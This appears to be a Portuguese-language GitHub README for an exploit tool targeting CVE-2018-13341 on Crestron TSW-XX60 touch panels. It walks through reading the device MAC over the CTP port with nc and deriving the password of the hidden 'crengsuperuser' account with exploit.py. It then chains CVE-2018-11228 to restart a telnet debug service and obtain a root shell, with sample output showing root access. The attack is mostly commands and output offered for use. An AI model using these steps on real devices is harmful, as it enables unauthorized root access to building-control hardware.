rajchowdhury240/cve-2018-13341Esta ferramenta tem como objetivo explorar o CVE-2018-13341
Esta ferramenta tem como objetivo explorar o CVE-2018-13341. Usando o endereço MAC do dispositivo alvo, você pode recuperar a senha da conta oculta "crengsuperuser" que possui privilégios elevados e permite executar comandos SUDO.
O Protocolo Crestron Toolbox (CTP) pode ser acessado através da porta 41795 no dispositivo TSW-XX60.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
Esta ferramenta requer o módulo CryptoGraphy.
# pip3 install cryptography
OU
# pip3 install -r requirements.txt
usage: exploit.py [-h] [-m MAC]
# Example
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass
O CVE-2018-11228 permite RCE não autenticado através do Serviço Bash Shell no Protocolo Terminal Crestron (CTP). Após obter a senha da conta oculta "crengsuperuser", você pode obter acesso root na máquina.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
Em seguida, em um novo shell, você pode obter acesso root na máquina.
# telnet w.x.y.z
bash# whoami
root
Credit Goes to : axcheron